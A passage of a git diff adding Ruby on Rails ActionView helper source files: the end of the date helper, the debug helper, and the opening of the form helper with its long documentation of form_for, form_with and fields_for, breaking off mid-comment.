+        # Returns the separator for a given datetime component.
+        def separator(type)
+          return "" if @options[:use_hidden]
+
+          case type
+          when :year, :month, :day
+            @options[:"discard_#{type}"] ? "" : @options[:date_separator]
+          when :hour
+            (@options[:discard_year] && @options[:discard_day]) ? "" : @options[:datetime_separator]
+          when :minute, :second
+            @options[:"discard_#{type}"] ? "" : @options[:time_separator]
+          end
+        end
+    end
+
+    class FormBuilder
+      # Wraps ActionView::Helpers::DateHelper#date_select for form builders:
+      #
+      #   <%= form_for @person do |f| %>
+      #     <%= f.date_select :birth_date %>
+      #     <%= f.submit %>
+      #   <% end %>
+      #
+      # Please refer to the documentation of the base helper for details.
+      def date_select(method, options = {}, html_options = {})
+        @template.date_select(@object_name, method, objectify_options(options), html_options)
+      end
+
+      # Wraps ActionView::Helpers::DateHelper#time_select for form builders:
+      #
+      #   <%= form_for @race do |f| %>
+      #     <%= f.time_select :average_lap %>
+      #     <%= f.submit %>
+      #   <% end %>
+      #
+      # Please refer to the documentation of the base helper for details.
+      def time_select(method, options = {}, html_options = {})
+        @template.time_select(@object_name, method, objectify_options(options), html_options)
+      end
+
+      # Wraps ActionView::Helpers::DateHelper#datetime_select for form builders:
+      #
+      #   <%= form_for @person do |f| %>
+      #     <%= f.datetime_select :last_request_at %>
+      #     <%= f.submit %>
+      #   <% end %>
+      #
+      # Please refer to the documentation of the base helper for details.
+      def datetime_select(method, options = {}, html_options = {})
+        @template.datetime_select(@object_name, method, objectify_options(options), html_options)
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/debug_helper.rb b/actionview/lib/action_view/helpers/debug_helper.rb
new file mode 100644
index 0000000000..232d688077
--- /dev/null
+++ b/actionview/lib/action_view/helpers/debug_helper.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+module ActionView
+  # = Action View Debug Helper
+  #
+  # Provides a set of methods for making it easier to debug Rails objects.
+  module Helpers
+    module DebugHelper
+      include TagHelper
+
+      # Returns a YAML representation of +object+ wrapped with <pre> and </pre>.
+      # If the object cannot be converted to YAML using +to_yaml+, +inspect+ will be called instead.
+      # Useful for inspecting an object at the time of rendering.
+      #
+      #   @user = User.new({ username: 'testing', password: 'xyz', age: 42})
+      #   debug(@user)
+      #   # =>
+      #   <pre class='debug_dump'>--- !ruby/object:User
+      #   attributes:
+      #     updated_at:
+      #     username: testing
+      #     age: 42
+      #     password: xyz
+      #     created_at:
+      #   </pre>
+      def debug(object)
+        Marshal::dump(object)
+        object = ERB::Util.html_escape(object.to_yaml)
+        content_tag(:pre, object, class: "debug_dump")
+      rescue # errors from Marshal or YAML
+        # Object couldn't be dumped, perhaps because of singleton methods -- this is the fallback
+        content_tag(:code, object.inspect, class: "debug_dump")
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/form_helper.rb b/actionview/lib/action_view/helpers/form_helper.rb
new file mode 100644
index 0000000000..4eac086a87
--- /dev/null
+++ b/actionview/lib/action_view/helpers/form_helper.rb
@@ -0,0 +1,2325 @@
+# frozen_string_literal: true
+
+require "cgi"
+require_relative "date_helper"
+require_relative "tag_helper"
+require_relative "form_tag_helper"
+require_relative "active_model_helper"
+require_relative "../model_naming"
+require_relative "../record_identifier"
+require "active_support/core_ext/module/attribute_accessors"
+require "active_support/core_ext/hash/slice"
+require "active_support/core_ext/string/output_safety"
+require "active_support/core_ext/string/inflections"
+
+module ActionView
+  # = Action View Form Helpers
+  module Helpers
+    # Form helpers are designed to make working with resources much easier
+    # compared to using vanilla HTML.
+    #
+    # Typically, a form designed to create or update a resource reflects the
+    # identity of the resource in several ways: (i) the url that the form is
+    # sent to (the form element's +action+ attribute) should result in a request
+    # being routed to the appropriate controller action (with the appropriate <tt>:id</tt>
+    # parameter in the case of an existing resource), (ii) input fields should
+    # be named in such a way that in the controller their values appear in the
+    # appropriate places within the +params+ hash, and (iii) for an existing record,
+    # when the form is initially displayed, input fields corresponding to attributes
+    # of the resource should show the current values of those attributes.
+    #
+    # In Rails, this is usually achieved by creating the form using +form_for+ and
+    # a number of related helper methods. +form_for+ generates an appropriate <tt>form</tt>
+    # tag and yields a form builder object that knows the model the form is about.
+    # Input fields are created by calling methods defined on the form builder, which
+    # means they are able to generate the appropriate names and default values
+    # corresponding to the model attributes, as well as convenient IDs, etc.
+    # Conventions in the generated field names allow controllers to receive form data
+    # nicely structured in +params+ with no effort on your side.
+    #
+    # For example, to create a new person you typically set up a new instance of
+    # +Person+ in the <tt>PeopleController#new</tt> action, <tt>@person</tt>, and
+    # in the view template pass that object to +form_for+:
+    #
+    #   <%= form_for @person do |f| %>
+    #     <%= f.label :first_name %>:
+    #     <%= f.text_field :first_name %><br />
+    #
+    #     <%= f.label :last_name %>:
+    #     <%= f.text_field :last_name %><br />
+    #
+    #     <%= f.submit %>
+    #   <% end %>
+    #
+    # The HTML generated for this would be (modulus formatting):
+    #
+    #   <form action="/people" class="new_person" id="new_person" method="post">
+    #     <input name="authenticity_token" type="hidden" value="NrOp5bsjoLRuK8IW5+dQEYjKGUJDe7TQoZVvq95Wteg=" />
+    #     <label for="person_first_name">First name</label>:
+    #     <input id="person_first_name" name="person[first_name]" type="text" /><br />
+    #
+    #     <label for="person_last_name">Last name</label>:
+    #     <input id="person_last_name" name="person[last_name]" type="text" /><br />
+    #
+    #     <input name="commit" type="submit" value="Create Person" />
+    #   </form>
+    #
+    # As you see, the HTML reflects knowledge about the resource in several spots,
+    # like the path the form should be submitted to, or the names of the input fields.
+    #
+    # In particular, thanks to the conventions followed in the generated field names, the
+    # controller gets a nested hash <tt>params[:person]</tt> with the person attributes
+    # set in the form. That hash is ready to be passed to <tt>Person.new</tt>:
+    #
+    #   @person = Person.new(params[:person])
+    #   if @person.save
+    #     # success
+    #   else
+    #     # error handling
+    #   end
+    #
+    # Interestingly, the exact same view code in the previous example can be used to edit
+    # a person. If <tt>@person</tt> is an existing record with name "John Smith" and ID 256,
+    # the code above as is would yield instead:
+    #
+    #   <form action="/people/256" class="edit_person" id="edit_person_256" method="post">
+    #     <input name="_method" type="hidden" value="patch" />
+    #     <input name="authenticity_token" type="hidden" value="NrOp5bsjoLRuK8IW5+dQEYjKGUJDe7TQoZVvq95Wteg=" />
+    #     <label for="person_first_name">First name</label>:
+    #     <input id="person_first_name" name="person[first_name]" type="text" value="John" /><br />
+    #
+    #     <label for="person_last_name">Last name</label>:
+    #     <input id="person_last_name" name="person[last_name]" type="text" value="Smith" /><br />
+    #
+    #     <input name="commit" type="submit" value="Update Person" />
+    #   </form>
+    #
+    # Note that the endpoint, default values, and submit button label are tailored for <tt>@person</tt>.
+    # That works that way because the involved helpers know whether the resource is a new record or not,
+    # and generate HTML accordingly.
+    #
+    # The controller would receive the form data again in <tt>params[:person]</tt>, ready to be
+    # passed to <tt>Person#update</tt>:
+    #
+    #   if @person.update(params[:person])
+    #     # success
+    #   else
+    #     # error handling
+    #   end
+    #
+    # That's how you typically work with resources.
+    module FormHelper
+      extend ActiveSupport::Concern
+
+      include FormTagHelper
+      include UrlHelper
+      include ModelNaming
+      include RecordIdentifier
+
+      attr_internal :default_form_builder
+
+      # Creates a form that allows the user to create or update the attributes
+      # of a specific model object.
+      #
+      # The method can be used in several slightly different ways, depending on
+      # how much you wish to rely on Rails to infer automatically from the model
+      # how the form should be constructed. For a generic model object, a form
+      # can be created by passing +form_for+ a string or symbol representing
+      # the object we are concerned with:
+      #
+      #   <%= form_for :person do |f| %>
+      #     First name: <%= f.text_field :first_name %><br />
+      #     Last name : <%= f.text_field :last_name %><br />
+      #     Biography : <%= f.text_area :biography %><br />
+      #     Admin?    : <%= f.check_box :admin %><br />
+      #     <%= f.submit %>
+      #   <% end %>
+      #
+      # The variable +f+ yielded to the block is a FormBuilder object that
+      # incorporates the knowledge about the model object represented by
+      # <tt>:person</tt> passed to +form_for+. Methods defined on the FormBuilder
+      # are used to generate fields bound to this model. Thus, for example,
+      #
+      #   <%= f.text_field :first_name %>
+      #
+      # will get expanded to
+      #
+      #   <%= text_field :person, :first_name %>
+      #
+      # which results in an HTML <tt><input></tt> tag whose +name+ attribute is
+      # <tt>person[first_name]</tt>. This means that when the form is submitted,
+      # the value entered by the user will be available in the controller as
+      # <tt>params[:person][:first_name]</tt>.
+      #
+      # For fields generated in this way using the FormBuilder,
+      # if <tt>:person</tt> also happens to be the name of an instance variable
+      # <tt>@person</tt>, the default value of the field shown when the form is
+      # initially displayed (e.g. in the situation where you are editing an
+      # existing record) will be the value of the corresponding attribute of
+      # <tt>@person</tt>.
+      #
+      # The rightmost argument to +form_for+ is an
+      # optional hash of options -
+      #
+      # * <tt>:url</tt> - The URL the form is to be submitted to. This may be
+      #   represented in the same way as values passed to +url_for+ or +link_to+.
+      #   So for example you may use a named route directly. When the model is
+      #   represented by a string or symbol, as in the example above, if the
+      #   <tt>:url</tt> option is not specified, by default the form will be
+      #   sent back to the current url (We will describe below an alternative
+      #   resource-oriented usage of +form_for+ in which the URL does not need
+      #   to be specified explicitly).
+      # * <tt>:namespace</tt> - A namespace for your form to ensure uniqueness of
+      #   id attributes on form elements. The namespace attribute will be prefixed
+      #   with underscore on the generated HTML id.
+      # * <tt>:method</tt> - The method to use when submitting the form, usually
+      #   either "get" or "post". If "patch", "put", "delete", or another verb
+      #   is used, a hidden input with name <tt>_method</tt> is added to
+      #   simulate the verb over post.
+      # * <tt>:authenticity_token</tt> - Authenticity token to use in the form.
+      #   Use only if you need to pass custom authenticity token string, or to
+      #   not add authenticity_token field at all (by passing <tt>false</tt>).
+      #   Remote forms may omit the embedded authenticity token by setting
+      #   <tt>config.action_view.embed_authenticity_token_in_remote_forms = false</tt>.
+      #   This is helpful when you're fragment-caching the form. Remote forms
+      #   get the authenticity token from the <tt>meta</tt> tag, so embedding is
+      #   unnecessary unless you support browsers without JavaScript.
+      # * <tt>:remote</tt> - If set to true, will allow the Unobtrusive
+      #   JavaScript drivers to control the submit behavior. By default this
+      #   behavior is an ajax submit.
+      # * <tt>:enforce_utf8</tt> - If set to false, a hidden input with name
+      #   utf8 is not output.
+      # * <tt>:html</tt> - Optional HTML attributes for the form tag.
+      #
+      # Also note that +form_for+ doesn't create an exclusive scope. It's still
+      # possible to use both the stand-alone FormHelper methods and methods
+      # from FormTagHelper. For example:
+      #
+      #   <%= form_for :person do |f| %>
+      #     First name: <%= f.text_field :first_name %>
+      #     Last name : <%= f.text_field :last_name %>
+      #     Biography : <%= text_area :person, :biography %>
+      #     Admin?    : <%= check_box_tag "person[admin]", "1", @person.company.admin? %>
+      #     <%= f.submit %>
+      #   <% end %>
+      #
+      # This also works for the methods in FormOptionsHelper and DateHelper that
+      # are designed to work with an object as base, like
+      # FormOptionsHelper#collection_select and DateHelper#datetime_select.
+      #
+      # === #form_for with a model object
+      #
+      # In the examples above, the object to be created or edited was
+      # represented by a symbol passed to +form_for+, and we noted that
+      # a string can also be used equivalently. It is also possible, however,
+      # to pass a model object itself to +form_for+. For example, if <tt>@post</tt>
+      # is an existing record you wish to edit, you can create the form using
+      #
+      #   <%= form_for @post do |f| %>
+      #     ...
+      #   <% end %>
+      #
+      # This behaves in almost the same way as outlined previously, with a
+      # couple of small exceptions. First, the prefix used to name the input
+      # elements within the form (hence the key that denotes them in the +params+
+      # hash) is actually derived from the object's _class_, e.g. <tt>params[:post]</tt>
+      # if the object's class is +Post+. However, this can be overwritten using
+      # the <tt>:as</tt> option, e.g. -
+      #
+      #   <%= form_for(@person, as: :client) do |f| %>
+      #     ...
+      #   <% end %>
+      #
+      # would result in <tt>params[:client]</tt>.
+      #
+      # Secondly, the field values shown when the form is initially displayed
+      # are taken from the attributes of the object passed to +form_for+,
+      # regardless of whether the object is an instance
+      # variable. So, for example, if we had a _local_ variable +post+
+      # representing an existing record,
+      #
+      #   <%= form_for post do |f| %>
+      #     ...
+      #   <% end %>
+      #
+      # would produce a form with fields whose initial state reflect the current
+      # values of the attributes of +post+.
+      #
+      # === Resource-oriented style
+      #
+      # In the examples just shown, although not indicated explicitly, we still
+      # need to use the <tt>:url</tt> option in order to specify where the
+      # form is going to be sent. However, further simplification is possible
+      # if the record passed to +form_for+ is a _resource_, i.e. it corresponds
+      # to a set of RESTful routes, e.g. defined using the +resources+ method
+      # in <tt>config/routes.rb</tt>. In this case Rails will simply infer the
+      # appropriate URL from the record itself. For example,
+      #
+      #   <%= form_for @post do |f| %>
+      #     ...
+      #   <% end %>
+      #
+      # is then equivalent to something like:
+      #
+      #   <%= form_for @post, as: :post, url: post_path(@post), method: :patch, html: { class: "edit_post", id: "edit_post_45" } do |f| %>
+      #     ...
+      #   <% end %>
+      #
+      # And for a new record
+      #
+      #   <%= form_for(Post.new) do |f| %>
+      #     ...
+      #   <% end %>
+      #
+      # is equivalent to something like:
+      #
+      #   <%= form_for @post, as: :post, url: posts_path, html: { class: "new_post", id: "new_post" } do |f| %>
+      #     ...
+      #   <% end %>
+      #
+      # However you can still overwrite individual conventions, such as:
+      #
+      #   <%= form_for(@post, url: super_posts_path) do |f| %>
+      #     ...
+      #   <% end %>
+      #
+      # You can also set the answer format, like this:
+      #
+      #   <%= form_for(@post, format: :json) do |f| %>
+      #     ...
+      #   <% end %>
+      #
+      # For namespaced routes, like +admin_post_url+:
+      #
+      #   <%= form_for([:admin, @post]) do |f| %>
+      #    ...
+      #   <% end %>
+      #
+      # If your resource has associations defined, for example, you want to add comments
+      # to the document given that the routes are set correctly:
+      #
+      #   <%= form_for([@document, @comment]) do |f| %>
+      #    ...
+      #   <% end %>
+      #
+      # Where <tt>@document = Document.find(params[:id])</tt> and
+      # <tt>@comment = Comment.new</tt>.
+      #
+      # === Setting the method
+      #
+      # You can force the form to use the full array of HTTP verbs by setting
+      #
+      #    method: (:get|:post|:patch|:put|:delete)
+      #
+      # in the options hash. If the verb is not GET or POST, which are natively
+      # supported by HTML forms, the form will be set to POST and a hidden input
+      # called _method will carry the intended verb for the server to interpret.
+      #
+      # === Unobtrusive JavaScript
+      #
+      # Specifying:
+      #
+      #    remote: true
+      #
+      # in the options hash creates a form that will allow the unobtrusive JavaScript drivers to modify its
+      # behavior. The expected default behavior is an XMLHttpRequest in the background instead of the regular
+      # POST arrangement, but ultimately the behavior is the choice of the JavaScript driver implementor.
+      # Even though it's using JavaScript to serialize the form elements, the form submission will work just like
+      # a regular submission as viewed by the receiving side (all elements available in <tt>params</tt>).
+      #
+      # Example:
+      #
+      #   <%= form_for(@post, remote: true) do |f| %>
+      #     ...
+      #   <% end %>
+      #
+      # The HTML generated for this would be:
+      #
+      #   <form action='http://www.example.com' method='post' data-remote='true'>
+      #     <input name='_method' type='hidden' value='patch' />
+      #     ...
+      #   </form>
+      #
+      # === Setting HTML options
+      #
+      # You can set data attributes directly by passing in a data hash, but all other HTML options must be wrapped in
+      # the HTML key. Example:
+      #
+      #   <%= form_for(@post, data: { behavior: "autosave" }, html: { name: "go" }) do |f| %>
+      #     ...
+      #   <% end %>
+      #
+      # The HTML generated for this would be:
+      #
+      #   <form action='http://www.example.com' method='post' data-behavior='autosave' name='go'>
+      #     <input name='_method' type='hidden' value='patch' />
+      #     ...
+      #   </form>
+      #
+      # === Removing hidden model id's
+      #
+      # The form_for method automatically includes the model id as a hidden field in the form.
+      # This is used to maintain the correlation between the form data and its associated model.
+      # Some ORM systems do not use IDs on nested models so in this case you want to be able
+      # to disable the hidden id.
+      #
+      # In the following example the Post model has many Comments stored within it in a NoSQL database,
+      # thus there is no primary key for comments.
+      #
+      # Example:
+      #
+      #   <%= form_for(@post) do |f| %>
+      #     <%= f.fields_for(:comments, include_id: false) do |cf| %>
+      #       ...
+      #     <% end %>
+      #   <% end %>
+      #
+      # === Customized form builders
+      #
+      # You can also build forms using a customized FormBuilder class. Subclass
+      # FormBuilder and override or define some more helpers, then use your
+      # custom builder. For example, let's say you made a helper to
+      # automatically add labels to form inputs.
+      #
+      #   <%= form_for @person, url: { action: "create" }, builder: LabellingFormBuilder do |f| %>
+      #     <%= f.text_field :first_name %>
+      #     <%= f.text_field :last_name %>
+      #     <%= f.text_area :biography %>
+      #     <%= f.check_box :admin %>
+      #     <%= f.submit %>
+      #   <% end %>
+      #
+      # In this case, if you use this:
+      #
+      #   <%= render f %>
+      #
+      # The rendered template is <tt>people/_labelling_form</tt> and the local
+      # variable referencing the form builder is called
+      # <tt>labelling_form</tt>.
+      #
+      # The custom FormBuilder class is automatically merged with the options
+      # of a nested fields_for call, unless it's explicitly set.
+      #
+      # In many cases you will want to wrap the above in another helper, so you
+      # could do something like the following:
+      #
+      #   def labelled_form_for(record_or_name_or_array, *args, &block)
+      #     options = args.extract_options!
+      #     form_for(record_or_name_or_array, *(args << options.merge(builder: LabellingFormBuilder)), &block)
+      #   end
+      #
+      # If you don't need to attach a form to a model instance, then check out
+      # FormTagHelper#form_tag.
+      #
+      # === Form to external resources
+      #
+      # When you build forms to external resources sometimes you need to set an authenticity token or just render a form
+      # without it, for example when you submit data to a payment gateway number and types of fields could be limited.
+      #
+      # To set an authenticity token you need to pass an <tt>:authenticity_token</tt> parameter
+      #
+      #   <%= form_for @invoice, url: external_url, authenticity_token: 'external_token' do |f| %>
+      #     ...
+      #   <% end %>
+      #
+      # If you don't want to an authenticity token field be rendered at all just pass <tt>false</tt>:
+      #
+      #   <%= form_for @invoice, url: external_url, authenticity_token: false do |f| %>
+      #     ...
+      #   <% end %>
+      def form_for(record, options = {}, &block)
+        raise ArgumentError, "Missing block" unless block_given?
+        html_options = options[:html] ||= {}
+
+        case record
+        when String, Symbol
+          object_name = record
+          object      = nil
+        else
+          object      = record.is_a?(Array) ? record.last : record
+          raise ArgumentError, "First argument in form cannot contain nil or be empty" unless object
+          object_name = options[:as] || model_name_from_record_or_class(object).param_key
+          apply_form_for_options!(record, object, options)
+        end
+
+        html_options[:data]   = options.delete(:data)   if options.has_key?(:data)
+        html_options[:remote] = options.delete(:remote) if options.has_key?(:remote)
+        html_options[:method] = options.delete(:method) if options.has_key?(:method)
+        html_options[:enforce_utf8] = options.delete(:enforce_utf8) if options.has_key?(:enforce_utf8)
+        html_options[:authenticity_token] = options.delete(:authenticity_token)
+
+        builder = instantiate_builder(object_name, object, options)
+        output  = capture(builder, &block)
+        html_options[:multipart] ||= builder.multipart?
+
+        html_options = html_options_for_form(options[:url] || {}, html_options)
+        form_tag_with_body(html_options, output)
+      end
+
+      def apply_form_for_options!(record, object, options) #:nodoc:
+        object = convert_to_model(object)
+
+        as = options[:as]
+        namespace = options[:namespace]
+        action, method = object.respond_to?(:persisted?) && object.persisted? ? [:edit, :patch] : [:new, :post]
+        options[:html].reverse_merge!(
+          class:  as ? "#{action}_#{as}" : dom_class(object, action),
+          id:     (as ? [namespace, action, as] : [namespace, dom_id(object, action)]).compact.join("_").presence,
+          method: method
+        )
+
+        options[:url] ||= if options.key?(:format)
+          polymorphic_path(record, format: options.delete(:format))
+        else
+          polymorphic_path(record, {})
+        end
+      end
+      private :apply_form_for_options!
+
+      mattr_accessor :form_with_generates_remote_forms, default: true
+
+      # Creates a form tag based on mixing URLs, scopes, or models.
+      #
+      #   # Using just a URL:
+      #   <%= form_with url: posts_path do |form| %>
+      #     <%= form.text_field :title %>
+      #   <% end %>
+      #   # =>
+      #   <form action="/posts" method="post" data-remote="true">
+      #     <input type="text" name="title">
+      #   </form>
+      #
+      #   # Adding a scope prefixes the input field names:
+      #   <%= form_with scope: :post, url: posts_path do |form| %>
+      #     <%= form.text_field :title %>
+      #   <% end %>
+      #   # =>
+      #   <form action="/posts" method="post" data-remote="true">
+      #     <input type="text" name="post[title]">
+      #   </form>
+      #
+      #   # Using a model infers both the URL and scope:
+      #   <%= form_with model: Post.new do |form| %>
+      #     <%= form.text_field :title %>
+      #   <% end %>
+      #   # =>
+      #   <form action="/posts" method="post" data-remote="true">
+      #     <input type="text" name="post[title]">
+      #   </form>
+      #
+      #   # An existing model makes an update form and fills out field values:
+      #   <%= form_with model: Post.first do |form| %>
+      #     <%= form.text_field :title %>
+      #   <% end %>
+      #   # =>
+      #   <form action="/posts/1" method="post" data-remote="true">
+      #     <input type="hidden" name="_method" value="patch">
+      #     <input type="text" name="post[title]" value="<the title of the post>">
+      #   </form>
+      #
+      #   # Though the fields don't have to correspond to model attributes:
+      #   <%= form_with model: Cat.new do |form| %>
+      #     <%= form.text_field :cats_dont_have_gills %>
+      #     <%= form.text_field :but_in_forms_they_can %>
+      #   <% end %>
+      #   # =>
+      #   <form action="/cats" method="post" data-remote="true">
+      #     <input type="text" name="cat[cats_dont_have_gills]">
+      #     <input type="text" name="cat[but_in_forms_they_can]">
+      #   </form>
+      #
+      # The parameters in the forms are accessible in controllers according to
+      # their name nesting. So inputs named +title+ and <tt>post[title]</tt> are
+      # accessible as <tt>params[:title]</tt> and <tt>params[:post][:title]</tt>
+      # respectively.
+      #
+      # By default +form_with+ attaches the <tt>data-remote</tt> attribute
+      # submitting the form via an XMLHTTPRequest in the background if an
+      # Unobtrusive JavaScript driver, like rails-ujs, is used. See the
+      # <tt>:local</tt> option for more.
+      #
+      # For ease of comparison the examples above left out the submit button,
+      # as well as the auto generated hidden fields that enable UTF-8 support
+      # and adds an authenticity token needed for cross site request forgery
+      # protection.
+      #
+      # ==== +form_with+ options
+      #
+      # * <tt>:url</tt> - The URL the form submits to. Akin to values passed to
+      #   +url_for+ or +link_to+. For example, you may use a named route
+      #   directly. When a <tt>:scope</tt> is passed without a <tt>:url</tt> the
+      #   form just submits to the current URL.
+      # * <tt>:method</tt> - The method to use when submitting the form, usually
+      #   either "get" or "post". If "patch", "put", "delete", or another verb
+      #   is used, a hidden input named <tt>_method</tt> is added to
+      #   simulate the verb over post.
+      # * <tt>:format</tt> - The format of the route the form submits to.
+      #   Useful when submitting to another resource type, like <tt>:json</tt>.
+      #   Skipped if a <tt>:url</tt> is passed.
+      # * <tt>:scope</tt> - The scope to prefix input field names with and
+      #   thereby how the submitted parameters are grouped in controllers.
+      # * <tt>:model</tt> - A model object to infer the <tt>:url</tt> and
+      #   <tt>:scope</tt> by, plus fill out input field values.
+      #   So if a +title+ attribute is set to "Ahoy!" then a +title+ input
+      #   field's value would be "Ahoy!".
+      #   If the model is a new record a create form is generated, if an
+      #   existing record, however, an update form is generated.
+      #   Pass <tt>:scope</tt> or <tt>:url</tt> to override the defaults.
+      #   E.g. turn <tt>params[:post]</tt> into <tt>params[:article]</tt>.
+      # * <tt>:authenticity_token</tt> - Authenticity token to use in the form.
+      #   Override with a custom authenticity token or pass <tt>false</tt> to
+      #   skip the authenticity token field altogether.
+      #   Useful when submitting to an external resource like a payment gateway
+      #   that might limit the valid fields.
+      #   Remote forms may omit the embedded authenticity token by setting
+      #   <tt>config.action_view.embed_authenticity_token_in_remote_forms = false</tt>.
+      #   This is helpful when fragment-caching the form. Remote forms
+      #   get the authenticity token from the <tt>meta</tt> tag, so embedding is
+      #   unnecessary unless you support browsers without JavaScript.
+      # * <tt>:local</tt> - By default form submits are remote and unobstrusive XHRs.
+      #   Disable remote submits with <tt>local: true</tt>.
+      # * <tt>:skip_enforcing_utf8</tt> - By default a hidden field named +utf8+
+      #   is output to enforce UTF-8 submits. Set to true to skip the field.
+      # * <tt>:builder</tt> - Override the object used to build the form.
+      # * <tt>:id</tt> - Optional HTML id attribute.
+      # * <tt>:class</tt> - Optional HTML class attribute.
+      # * <tt>:data</tt> - Optional HTML data attributes.
+      # * <tt>:html</tt> - Other optional HTML attributes for the form tag.
+      #
+      # === Examples
+      #
+      # When not passing a block, +form_with+ just generates an opening form tag.
+      #
+      #   <%= form_with(model: @post, url: super_posts_path) %>
+      #   <%= form_with(model: @post, scope: :article) %>
+      #   <%= form_with(model: @post, format: :json) %>
+      #   <%= form_with(model: @post, authenticity_token: false) %> # Disables the token.
+      #
+      # For namespaced routes, like +admin_post_url+:
+      #
+      #   <%= form_with(model: [ :admin, @post ]) do |form| %>
+      #     ...
+      #   <% end %>
+      #
+      # If your resource has associations defined, for example, you want to add comments
+      # to the document given that the routes are set correctly:
+      #
+      #   <%= form_with(model: [ @document, Comment.new ]) do |form| %>
+      #     ...
+      #   <% end %>
+      #
+      # Where <tt>@document = Document.find(params[:id])</tt>.
+      #
+      # When using labels +form_with+ requires setting the id on the field being
+      # labelled:
+      #
+      #   <%= form_with(model: @post) do |form| %>
+      #     <%= form.label :title %>
+      #     <%= form.text_field :title, id: :post_title %>
+      #   <% end %>
+      #
+      # See +label+ for more on how the +for+ attribute is derived.
+      #
+      # === Mixing with other form helpers
+      #
+      # While +form_with+ uses a FormBuilder object it's possible to mix and
+      # match the stand-alone FormHelper methods and methods
+      # from FormTagHelper:
+      #
+      #   <%= form_with scope: :person do |form| %>
+      #     <%= form.text_field :first_name %>
+      #     <%= form.text_field :last_name %>
+      #
+      #     <%= text_area :person, :biography %>
+      #     <%= check_box_tag "person[admin]", "1", @person.company.admin? %>
+      #
+      #     <%= form.submit %>
+      #   <% end %>
+      #
+      # Same goes for the methods in FormOptionsHelper and DateHelper designed
+      # to work with an object as a base, like
+      # FormOptionsHelper#collection_select and DateHelper#datetime_select.
+      #
+      # === Setting the method
+      #
+      # You can force the form to use the full array of HTTP verbs by setting
+      #
+      #    method: (:get|:post|:patch|:put|:delete)
+      #
+      # in the options hash. If the verb is not GET or POST, which are natively
+      # supported by HTML forms, the form will be set to POST and a hidden input
+      # called _method will carry the intended verb for the server to interpret.
+      #
+      # === Setting HTML options
+      #
+      # You can set data attributes directly in a data hash, but HTML options
+      # besides id and class must be wrapped in an HTML key:
+      #
+      #   <%= form_with(model: @post, data: { behavior: "autosave" }, html: { name: "go" }) do |form| %>
+      #     ...
+      #   <% end %>
+      #
+      # generates
+      #
+      #   <form action="/posts/123" method="post" data-behavior="autosave" name="go">
+      #     <input name="_method" type="hidden" value="patch" />
+      #     ...
+      #   </form>
+      #
+      # === Removing hidden model id's
+      #
+      # The +form_with+ method automatically includes the model id as a hidden field in the form.
+      # This is used to maintain the correlation between the form data and its associated model.
+      # Some ORM systems do not use IDs on nested models so in this case you want to be able
+      # to disable the hidden id.
+      #
+      # In the following example the Post model has many Comments stored within it in a NoSQL database,
+      # thus there is no primary key for comments.
+      #
+      #   <%= form_with(model: @post) do |form| %>
+      #     <%= form.fields(:comments, skip_id: true) do |fields| %>
+      #       ...
+      #     <% end %>
+      #   <% end %>
+      #
+      # === Customized form builders
+      #
+      # You can also build forms using a customized FormBuilder class. Subclass
+      # FormBuilder and override or define some more helpers, then use your
+      # custom builder. For example, let's say you made a helper to
+      # automatically add labels to form inputs.
+      #
+      #   <%= form_with model: @person, url: { action: "create" }, builder: LabellingFormBuilder do |form| %>
+      #     <%= form.text_field :first_name %>
+      #     <%= form.text_field :last_name %>
+      #     <%= form.text_area :biography %>
+      #     <%= form.check_box :admin %>
+      #     <%= form.submit %>
+      #   <% end %>
+      #
+      # In this case, if you use:
+      #
+      #   <%= render form %>
+      #
+      # The rendered template is <tt>people/_labelling_form</tt> and the local
+      # variable referencing the form builder is called
+      # <tt>labelling_form</tt>.
+      #
+      # The custom FormBuilder class is automatically merged with the options
+      # of a nested +fields+ call, unless it's explicitly set.
+      #
+      # In many cases you will want to wrap the above in another helper, so you
+      # could do something like the following:
+      #
+      #   def labelled_form_with(**options, &block)
+      #     form_with(**options.merge(builder: LabellingFormBuilder), &block)
+      #   end
+      def form_with(model: nil, scope: nil, url: nil, format: nil, **options)
+        options[:allow_method_names_outside_object] = true
+        options[:skip_default_ids] = true
+
+        if model
+          url ||= polymorphic_path(model, format: format)
+
+          model   = model.last if model.is_a?(Array)
+          scope ||= model_name_from_record_or_class(model).param_key
+        end
+
+        if block_given?
+          builder = instantiate_builder(scope, model, options)
+          output  = capture(builder, &Proc.new)
+          options[:multipart] ||= builder.multipart?
+
+          html_options = html_options_for_form_with(url, model, options)
+          form_tag_with_body(html_options, output)
+        else
+          html_options = html_options_for_form_with(url, model, options)
+          form_tag_html(html_options)
+        end
+      end
+
+      # Creates a scope around a specific model object like form_for, but
+      # doesn't create the form tags themselves. This makes fields_for suitable
+      # for specifying additional model objects in the same form.
+      #
+      # Although the usage and purpose of +fields_for+ is similar to +form_for+'s,
+      # its method signature is slightly different. Like +form_for+, it yields
+      # a FormBuilder object associated with a particular model object to a block,
+      # and within the block allows methods to be called on the builder to
+      # generate fields associated with the model object. Fields may reflect
+      # a model object in two ways - how they are named (hence how submitted
+      # values appear within the +params+ hash in the controller) and what
+      # default values are shown when the form the fields appear in is first
+      # displayed. In order for both of these features to be specified independently,
+      # both an object name (represented by either a symbol or string) and the
+      # object itself can be passed to the method separately -
+      #
+      #   <%= form_for @person do |person_form| %>
+      #     First name: <%= person_form.text_field :first_name %>
+      #     Last name : <%= person_form.text_field :last_name %>
+      #
+      #     <%= fields_for :permission, @person.permission do |permission_fields| %>
+      #       Admin?  : <%= permission_fields.check_box :admin %>
+      #     <% end %>
+      #
+      #     <%= person_form.submit %>
+      #   <% end %>
+      #
+      # In this case, the checkbox field will be represented by an HTML +input+
+      # tag with the +name+ attribute <tt>permission[admin]</tt>, and the submitted
+      # value will appear in the controller as <tt>params[:permission][:admin]</tt>.
+      # If <tt>@person.permission</tt> is an existing record with an attribute
+      # +admin+, the initial state of the checkbox when first displayed will
+      # reflect the value of <tt>@person.permission.admin</tt>.
+      #
+      # Often this can be simplified by passing just the name of the model
+      # object to +fields_for+ -
+      #
+      #   <%= fields_for :permission do |permission_fields| %>
+      #     Admin?: <%= permission_fields.check_box :admin %>
+      #   <% end %>
+      #
+      # ...in which case, if <tt>:permission</tt> also happens to be the name of an
+      # instance variable <tt>@permission</tt>, the initial state of the input
+      # field will reflect the value of that variable's attribute <tt>@permission.admin</tt>.
+      #
+      # Alternatively, you can pass just the model object itself (if the first
+      # argument isn't a string or symbol +fields_for+ will realize that the
